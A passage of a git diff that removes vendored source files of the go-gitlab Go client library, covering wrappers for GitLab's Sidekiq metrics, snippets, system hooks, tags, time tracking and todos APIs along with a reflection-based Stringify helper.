performed. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/sidekiq_metrics.html#get-the-current-job-statistics -func (s *SidekiqService) GetJobStats(options ...RequestOptionFunc) (*JobStats, *Response, error) { - req, err := s.client.NewRequest("GET", "/sidekiq/job_stats", nil, options) - if err != nil { - return nil, nil, err - } - - j := new(JobStats) - resp, err := s.client.Do(req, j) - if err != nil { - return nil, resp, err - } - - return j, resp, err -} - -// CompoundMetrics represents the GitLab sidekiq compounded stats. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/sidekiq_metrics.html#get-a-compound-response-of-all-the-previously-mentioned-metrics -type CompoundMetrics struct { - QueueMetrics - ProcessMetrics - JobStats -} - -// GetCompoundMetrics lists all the currently available information about Sidekiq. -// Get a compound response of all the previously mentioned metrics -// -// GitLab API docs: https://docs.gitlab.com/ce/api/sidekiq_metrics.html#get-the-current-job-statistics -func (s *SidekiqService) GetCompoundMetrics(options ...RequestOptionFunc) (*CompoundMetrics, *Response, error) { - req, err := s.client.NewRequest("GET", "/sidekiq/compound_metrics", nil, options) - if err != nil { - return nil, nil, err - } - - c := new(CompoundMetrics) - resp, err := s.client.Do(req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/snippets.go b/vendor/github.com/xanzy/go-gitlab/snippets.go deleted file mode 100644 index a8025de48d..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/snippets.go +++ /dev/null @@ -1,230 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "bytes" - "fmt" - "time" -) - -// SnippetsService handles communication with the snippets -// related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/snippets.html -type SnippetsService struct { - client *Client -} - -// Snippet represents a GitLab snippet. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/snippets.html -type Snippet struct { - ID int `json:"id"` - Title string `json:"title"` - FileName string `json:"file_name"` - Description string `json:"description"` - Author struct { - ID int `json:"id"` - Username string `json:"username"` - Email string `json:"email"` - Name string `json:"name"` - State string `json:"state"` - CreatedAt *time.Time `json:"created_at"` - } `json:"author"` - UpdatedAt *time.Time `json:"updated_at"` - CreatedAt *time.Time `json:"created_at"` - WebURL string `json:"web_url"` - RawURL string `json:"raw_url"` -} - -func (s Snippet) String() string { - return Stringify(s) -} - -// ListSnippetsOptions represents the available ListSnippets() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/snippets.html#list-snippets -type ListSnippetsOptions ListOptions - -// ListSnippets gets a list of snippets. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/snippets.html#list-snippets -func (s *SnippetsService) ListSnippets(opt *ListSnippetsOptions, options ...RequestOptionFunc) ([]*Snippet, *Response, error) { - req, err := s.client.NewRequest("GET", "snippets", opt, options) - if err != nil { - return nil, nil, err - } - - var ps []*Snippet - resp, err := s.client.Do(req, &ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// GetSnippet gets a single snippet -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/snippets.html#single-snippet -func (s *SnippetsService) GetSnippet(snippet int, options ...RequestOptionFunc) (*Snippet, *Response, error) { - u := fmt.Sprintf("snippets/%d", snippet) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - ps := new(Snippet) - resp, err := s.client.Do(req, ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// CreateSnippetOptions represents the available CreateSnippet() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/snippets.html#create-new-snippet -type CreateSnippetOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - FileName *string `url:"file_name,omitempty" json:"file_name,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Content *string `url:"content,omitempty" json:"content,omitempty"` - Visibility *VisibilityValue `url:"visibility,omitempty" json:"visibility,omitempty"` -} - -// CreateSnippet creates a new snippet. The user must have permission -// to create new snippets. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/snippets.html#create-new-snippet -func (s *SnippetsService) CreateSnippet(opt *CreateSnippetOptions, options ...RequestOptionFunc) (*Snippet, *Response, error) { - req, err := s.client.NewRequest("POST", "snippets", opt, options) - if err != nil { - return nil, nil, err - } - - ps := new(Snippet) - resp, err := s.client.Do(req, ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// UpdateSnippetOptions represents the available UpdateSnippet() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/snippets.html#update-snippet -type UpdateSnippetOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - FileName *string `url:"file_name,omitempty" json:"file_name,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` - Content *string `url:"content,omitempty" json:"content,omitempty"` - Visibility *VisibilityValue `url:"visibility,omitempty" json:"visibility,omitempty"` -} - -// UpdateSnippet updates an existing snippet. The user must have -// permission to change an existing snippet. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/snippets.html#update-snippet -func (s *SnippetsService) UpdateSnippet(snippet int, opt *UpdateSnippetOptions, options ...RequestOptionFunc) (*Snippet, *Response, error) { - u := fmt.Sprintf("snippets/%d", snippet) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - ps := new(Snippet) - resp, err := s.client.Do(req, ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} - -// DeleteSnippet deletes an existing snippet. This is an idempotent -// function and deleting a non-existent snippet still returns a 200 OK status -// code. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/snippets.html#delete-snippet -func (s *SnippetsService) DeleteSnippet(snippet int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("snippets/%d", snippet) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// SnippetContent returns the raw snippet as plain text. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/snippets.html#snippet-content -func (s *SnippetsService) SnippetContent(snippet int, options ...RequestOptionFunc) ([]byte, *Response, error) { - u := fmt.Sprintf("snippets/%d/raw", snippet) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var b bytes.Buffer - resp, err := s.client.Do(req, &b) - if err != nil { - return nil, resp, err - } - - return b.Bytes(), resp, err -} - -// ExploreSnippetsOptions represents the available ExploreSnippets() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/snippets.html#explore-all-public-snippets -type ExploreSnippetsOptions ListOptions - -// ExploreSnippets gets the list of public snippets. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/snippets.html#explore-all-public-snippets -func (s *SnippetsService) ExploreSnippets(opt *ExploreSnippetsOptions, options ...RequestOptionFunc) ([]*Snippet, *Response, error) { - req, err := s.client.NewRequest("GET", "snippets/public", nil, options) - if err != nil { - return nil, nil, err - } - - var ps []*Snippet - resp, err := s.client.Do(req, &ps) - if err != nil { - return nil, resp, err - } - - return ps, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/strings.go b/vendor/github.com/xanzy/go-gitlab/strings.go deleted file mode 100644 index aeefb6b8dc..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/strings.go +++ /dev/null @@ -1,94 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "bytes" - "fmt" - - "reflect" -) - -// Stringify attempts to create a reasonable string representation of types in -// the GitHub library. It does things like resolve pointers to their values -// and omits struct fields with nil values. -func Stringify(message interface{}) string { - var buf bytes.Buffer - v := reflect.ValueOf(message) - stringifyValue(&buf, v) - return buf.String() -} - -// stringifyValue was heavily inspired by the goprotobuf library. -func stringifyValue(buf *bytes.Buffer, val reflect.Value) { - if val.Kind() == reflect.Ptr && val.IsNil() { - buf.WriteString("") - return - } - - v := reflect.Indirect(val) - - switch v.Kind() { - case reflect.String: - fmt.Fprintf(buf, `"%s"`, v) - case reflect.Slice: - buf.WriteByte('[') - for i := 0; i < v.Len(); i++ { - if i > 0 { - buf.WriteByte(' ') - } - - stringifyValue(buf, v.Index(i)) - } - - buf.WriteByte(']') - return - case reflect.Struct: - if v.Type().Name() != "" { - buf.WriteString(v.Type().String()) - } - - buf.WriteByte('{') - - var sep bool - for i := 0; i < v.NumField(); i++ { - fv := v.Field(i) - if fv.Kind() == reflect.Ptr && fv.IsNil() { - continue - } - if fv.Kind() == reflect.Slice && fv.IsNil() { - continue - } - - if sep { - buf.WriteString(", ") - } else { - sep = true - } - - buf.WriteString(v.Type().Field(i).Name) - buf.WriteByte(':') - stringifyValue(buf, fv) - } - - buf.WriteByte('}') - default: - if v.CanInterface() { - fmt.Fprint(buf, v.Interface()) - } - } -} diff --git a/vendor/github.com/xanzy/go-gitlab/system_hooks.go b/vendor/github.com/xanzy/go-gitlab/system_hooks.go deleted file mode 100644 index 041264e952..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/system_hooks.go +++ /dev/null @@ -1,149 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// SystemHooksService handles communication with the system hooks related -// methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/system_hooks.html -type SystemHooksService struct { - client *Client -} - -// Hook represents a GitLap system hook. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/system_hooks.html -type Hook struct { - ID int `json:"id"` - URL string `json:"url"` - CreatedAt *time.Time `json:"created_at"` -} - -func (h Hook) String() string { - return Stringify(h) -} - -// ListHooks gets a list of system hooks. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/system_hooks.html#list-system-hooks -func (s *SystemHooksService) ListHooks(options ...RequestOptionFunc) ([]*Hook, *Response, error) { - req, err := s.client.NewRequest("GET", "hooks", nil, options) - if err != nil { - return nil, nil, err - } - - var h []*Hook - resp, err := s.client.Do(req, &h) - if err != nil { - return nil, resp, err - } - - return h, resp, err -} - -// AddHookOptions represents the available AddHook() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/system_hooks.html#add-new-system-hook-hook -type AddHookOptions struct { - URL *string `url:"url,omitempty" json:"url,omitempty"` - Token *string `url:"token,omitempty" json:"token,omitempty"` - PushEvents *bool `url:"push_events,omitempty" json:"push_events,omitempty"` - TagPushEvents *bool `url:"tag_push_events,omitempty" json:"tag_push_events,omitempty"` - MergeRequestsEvents *bool `url:"merge_requests_events,omitempty" json:"merge_requests_events,omitempty"` - RepositoryUpdateEvents *bool `url:"repository_update_events,omitempty" json:"repository_update_events,omitempty"` - EnableSSLVerification *bool `url:"enable_ssl_verification,omitempty" json:"enable_ssl_verification,omitempty"` -} - -// AddHook adds a new system hook hook. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/system_hooks.html#add-new-system-hook-hook -func (s *SystemHooksService) AddHook(opt *AddHookOptions, options ...RequestOptionFunc) (*Hook, *Response, error) { - req, err := s.client.NewRequest("POST", "hooks", opt, options) - if err != nil { - return nil, nil, err - } - - h := new(Hook) - resp, err := s.client.Do(req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, err -} - -// HookEvent represents an event trigger by a GitLab system hook. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/system_hooks.html -type HookEvent struct { - EventName string `json:"event_name"` - Name string `json:"name"` - Path string `json:"path"` - ProjectID int `json:"project_id"` - OwnerName string `json:"owner_name"` - OwnerEmail string `json:"owner_email"` -} - -func (h HookEvent) String() string { - return Stringify(h) -} - -// TestHook tests a system hook. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/system_hooks.html#test-system-hook -func (s *SystemHooksService) TestHook(hook int, options ...RequestOptionFunc) (*HookEvent, *Response, error) { - u := fmt.Sprintf("hooks/%d", hook) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - h := new(HookEvent) - resp, err := s.client.Do(req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, err -} - -// DeleteHook deletes a system hook. This is an idempotent API function and -// returns 200 OK even if the hook is not available. If the hook is deleted it -// is also returned as JSON. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/system_hooks.html#delete-system-hook -func (s *SystemHooksService) DeleteHook(hook int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("hooks/%d", hook) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/tags.go b/vendor/github.com/xanzy/go-gitlab/tags.go deleted file mode 100644 index 3c49dc26b2..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/tags.go +++ /dev/null @@ -1,243 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "net/url" -) - -// TagsService handles communication with the tags related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/tags.html -type TagsService struct { - client *Client -} - -// Tag represents a GitLab tag. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/tags.html -type Tag struct { - Commit *Commit `json:"commit"` - Release *ReleaseNote `json:"release"` - Name string `json:"name"` - Message string `json:"message"` -} - -// ReleaseNote represents a GitLab version release. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/tags.html -type ReleaseNote struct { - TagName string `json:"tag_name"` - Description string `json:"description"` -} - -func (t Tag) String() string { - return Stringify(t) -} - -// ListTagsOptions represents the available ListTags() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#list-project-repository-tags -type ListTagsOptions struct { - ListOptions - OrderBy *string `url:"order_by,omitempty" json:"order_by,omitempty"` - Sort *string `url:"sort,omitempty" json:"sort,omitempty"` -} - -// ListTags gets a list of tags from a project, sorted by name in reverse -// alphabetical order. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#list-project-repository-tags -func (s *TagsService) ListTags(pid interface{}, opt *ListTagsOptions, options ...RequestOptionFunc) ([]*Tag, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/tags", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var t []*Tag - resp, err := s.client.Do(req, &t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// GetTag a specific repository tag determined by its name. It returns 200 together -// with the tag information if the tag exists. It returns 404 if the tag does not exist. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#get-a-single-repository-tag -func (s *TagsService) GetTag(pid interface{}, tag string, options ...RequestOptionFunc) (*Tag, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/tags/%s", pathEscape(project), url.PathEscape(tag)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var t *Tag - resp, err := s.client.Do(req, &t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// CreateTagOptions represents the available CreateTag() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#create-a-new-tag -type CreateTagOptions struct { - TagName *string `url:"tag_name,omitempty" json:"tag_name,omitempty"` - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` - Message *string `url:"message,omitempty" json:"message,omitempty"` - // ReleaseDescription parameter was deprecated in GitLab 11.7 - ReleaseDescription *string `url:"release_description:omitempty" json:"release_description,omitempty"` -} - -// CreateTag creates a new tag in the repository that points to the supplied ref. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#create-a-new-tag -func (s *TagsService) CreateTag(pid interface{}, opt *CreateTagOptions, options ...RequestOptionFunc) (*Tag, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/tags", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - t := new(Tag) - resp, err := s.client.Do(req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// DeleteTag deletes a tag of a repository with given name. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#delete-a-tag -func (s *TagsService) DeleteTag(pid interface{}, tag string, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/repository/tags/%s", pathEscape(project), url.PathEscape(tag)) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// CreateReleaseNoteOptions represents the available CreateReleaseNote() options. -// -// Deprecated: This feature was deprecated in GitLab 11.7. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#create-a-new-release -type CreateReleaseNoteOptions struct { - Description *string `url:"description:omitempty" json:"description,omitempty"` -} - -// CreateReleaseNote Add release notes to the existing git tag. -// If there already exists a release for the given tag, status code 409 is returned. -// -// Deprecated: This feature was deprecated in GitLab 11.7. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#create-a-new-release -func (s *TagsService) CreateReleaseNote(pid interface{}, tag string, opt *CreateReleaseNoteOptions, options ...RequestOptionFunc) (*ReleaseNote, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/tags/%s/release", pathEscape(project), url.PathEscape(tag)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - r := new(ReleaseNote) - resp, err := s.client.Do(req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} - -// UpdateReleaseNoteOptions represents the available UpdateReleaseNote() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#update-a-release -type UpdateReleaseNoteOptions struct { - Description *string `url:"description:omitempty" json:"description,omitempty"` -} - -// UpdateReleaseNote Updates the release notes of a given release. -// -// Deprecated: This feature was deprecated in GitLab 11.7. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/tags.html#update-a-release -func (s *TagsService) UpdateReleaseNote(pid interface{}, tag string, opt *UpdateReleaseNoteOptions, options ...RequestOptionFunc) (*ReleaseNote, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/tags/%s/release", pathEscape(project), url.PathEscape(tag)) - - req, err := s.client.NewRequest("PUT", u, opt, options) - if err != nil { - return nil, nil, err - } - - r := new(ReleaseNote) - resp, err := s.client.Do(req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/time_stats.go b/vendor/github.com/xanzy/go-gitlab/time_stats.go deleted file mode 100644 index dd1f550a4b..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/time_stats.go +++ /dev/null @@ -1,162 +0,0 @@ -package gitlab - -import ( - "fmt" -) - -// timeStatsService handles communication with the time tracking related -// methods of the GitLab API. -// -// GitLab docs: https://docs.gitlab.com/ce/workflow/time_tracking.html -type timeStatsService struct { - client *Client -} - -// TimeStats represents the time estimates and time spent for an issue. -// -// GitLab docs: https://docs.gitlab.com/ce/workflow/time_tracking.html -type TimeStats struct { - HumanTimeEstimate string `json:"human_time_estimate"` - HumanTotalTimeSpent string `json:"human_total_time_spent"` - TimeEstimate int `json:"time_estimate"` - TotalTimeSpent int `json:"total_time_spent"` -} - -func (t TimeStats) String() string { - return Stringify(t) -} - -// SetTimeEstimateOptions represents the available SetTimeEstimate() -// options. -// -// GitLab docs: https://docs.gitlab.com/ce/workflow/time_tracking.html -type SetTimeEstimateOptions struct { - Duration *string `url:"duration,omitempty" json:"duration,omitempty"` -} - -// setTimeEstimate sets the time estimate for a single project issue. -// -// GitLab docs: https://docs.gitlab.com/ce/workflow/time_tracking.html -func (s *timeStatsService) setTimeEstimate(pid interface{}, entity string, issue int, opt *SetTimeEstimateOptions, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/time_estimate", pathEscape(project), entity, issue) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - t := new(TimeStats) - resp, err := s.client.Do(req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// resetTimeEstimate resets the time estimate for a single project issue. -// -// GitLab docs: https://docs.gitlab.com/ce/workflow/time_tracking.html -func (s *timeStatsService) resetTimeEstimate(pid interface{}, entity string, issue int, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/reset_time_estimate", pathEscape(project), entity, issue) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - t := new(TimeStats) - resp, err := s.client.Do(req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// AddSpentTimeOptions represents the available AddSpentTime() options. -// -// GitLab docs: https://docs.gitlab.com/ce/workflow/time_tracking.html -type AddSpentTimeOptions struct { - Duration *string `url:"duration,omitempty" json:"duration,omitempty"` -} - -// addSpentTime adds spent time for a single project issue. -// -// GitLab docs: https://docs.gitlab.com/ce/workflow/time_tracking.html -func (s *timeStatsService) addSpentTime(pid interface{}, entity string, issue int, opt *AddSpentTimeOptions, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/add_spent_time", pathEscape(project), entity, issue) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - t := new(TimeStats) - resp, err := s.client.Do(req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// resetSpentTime resets the spent time for a single project issue. -// -// GitLab docs: https://docs.gitlab.com/ce/workflow/time_tracking.html -func (s *timeStatsService) resetSpentTime(pid interface{}, entity string, issue int, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/reset_spent_time", pathEscape(project), entity, issue) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - t := new(TimeStats) - resp, err := s.client.Do(req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// getTimeSpent gets the spent time for a single project issue. -// -// GitLab docs: https://docs.gitlab.com/ce/workflow/time_tracking.html -func (s *timeStatsService) getTimeSpent(pid interface{}, entity string, issue int, options ...RequestOptionFunc) (*TimeStats, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/%s/%d/time_stats", pathEscape(project), entity, issue) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - t := new(TimeStats) - resp, err := s.client.Do(req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/todos.go b/vendor/github.com/xanzy/go-gitlab/todos.go deleted file mode 100644 index dc8ebb0fe3..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/todos.go +++ /dev/null @@ -1,176 +0,0 @@ -package gitlab - -import "time" -import "fmt" - -// TodosService handles communication with the todos related methods of -// the Gitlab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/todos.html -type TodosService struct { - client *Client -} - -// TodoAction represents the available actions that can be performed on a todo. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/todos.html -type TodoAction string - -// The available todo actions. -const ( - TodoAssigned TodoAction = "assigned" - TodoMentioned TodoAction = "mentioned" - TodoBuildFailed TodoAction = "build_failed" - TodoMarked TodoAction = "marked" - TodoApprovalRequired TodoAction = "approval_required" - TodoDirectlyAddressed TodoAction = "directly_addressed" -) - -// TodoTarget represents a todo target of type Issue or MergeRequest -type TodoTarget struct { - // TODO: replace both Assignee and Author structs with v4 User struct - Assignee struct { - Name string `json:"name"` - Username string `json:"username"` - ID int `json:"id"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - } `json:"assignee"` - Author struct { - Name string `json:"name"` - Username string `json:"username"` - ID int `json:"id"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - } `json:"author"` - CreatedAt *time.Time `json:"created_at"` - Description string `json:"description"` - Downvotes int `json:"downvotes"` - ID int `json:"id"` - IID int `json:"iid"` - Labels []string `json:"labels"` - Milestone Milestone `json:"milestone"` - ProjectID int `json:"project_id"` - State string `json:"state"` - Subscribed bool `json:"subscribed"` - Title string `json:"title"` - UpdatedAt *time.Time `json:"updated_at"` - Upvotes int `json:"upvotes"` - UserNotesCount int `json:"user_notes_count"` - WebURL string `json:"web_url"` - - // Only available for type Issue - Confidential bool `json:"confidential"` - DueDate string `json:"due_date"` - Weight int `json:"weight"` - - // Only available for type MergeRequest - ApprovalsBeforeMerge int `json:"approvals_before_merge"` - ForceRemoveSourceBranch bool `json:"force_remove_source_branch"` - MergeCommitSHA string `json:"merge_commit_sha"` - MergeWhenPipelineSucceeds bool `json:"merge_when_pipeline_succeeds"` - MergeStatus string `json:"merge_status"` - SHA string `json:"sha"` - ShouldRemoveSourceBranch bool `json:"should_remove_source_branch"` - SourceBranch string `json:"source_branch"` - SourceProjectID int `json:"source_project_id"` - Squash bool `json:"squash"` - TargetBranch string `json:"target_branch"` - TargetProjectID int `json:"target_project_id"` - WorkInProgress bool `json:"work_in_progress"` -} - -// Todo represents a GitLab todo. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/todos.html -type Todo struct { - ID int `json:"id"` - Project struct { - ID int `json:"id"` - HTTPURLToRepo string `json:"http_url_to_repo"` - WebURL string `json:"web_url"` - Name string `json:"name"` - NameWithNamespace string `json:"name_with_namespace"` - Path string `json:"path"` - PathWithNamespace string `json:"path_with_namespace"` - } `json:"project"` - Author struct { - ID int `json:"id"` - Name string `json:"name"` - Username string `json:"username"` - State string `json:"state"` - AvatarURL string `json:"avatar_url"` - WebURL string `json:"web_url"` - } `json:"author"` - ActionName TodoAction `json:"action_name"` - TargetType string `json:"target_type"` - Target TodoTarget `json:"target"` - TargetURL string `json:"target_url"` - Body string `json:"body"` - State string `json:"state"` - CreatedAt *time.Time `json:"created_at"` -} - -func (t Todo) String() string { - return Stringify(t) -} - -// ListTodosOptions represents the available ListTodos() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/todos.html#get-a-list-of-todos -type ListTodosOptions struct { - ListOptions - Action *TodoAction `url:"action,omitempty" json:"action,omitempty"` - AuthorID *int `url:"author_id,omitempty" json:"author_id,omitempty"` - ProjectID *int `url:"project_id,omitempty" json:"project_id,omitempty"` - State *string `url:"state,omitempty" json:"state,omitempty"` - Type *string `url:"type,omitempty" json:"type,omitempty"` -} - -// ListTodos lists all todos created by authenticated user. -// When no filter is applied, it returns all pending todos for the current user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/todos.html#get-a-list-of-todos -func (s *TodosService) ListTodos(opt *ListTodosOptions, options ...RequestOptionFunc) ([]*Todo, *Response, error) { - req, err := s.client.NewRequest("GET", "todos", opt, options) - if err != nil { - return nil, nil, err - } - - var t []*Todo - resp, err := s.client.Do(req, &t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// MarkTodoAsDone marks a single pending todo given by its ID for the current user as done. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/todos.html#mark-a-todo-as-done -func (s *TodosService) MarkTodoAsDone(id int, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("todos/%d/mark_as_done", id) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// MarkAllTodosAsDone marks all pending todos for the current user as done. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/todos.html#mark-all-todos-as-done -func (s *TodosService) MarkAllTodosAsDone(options ...RequestOptionFunc) (*Response, error) { - req, err := s.client.NewRequest("POST", "todos/mark_as_done", nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} diff --git 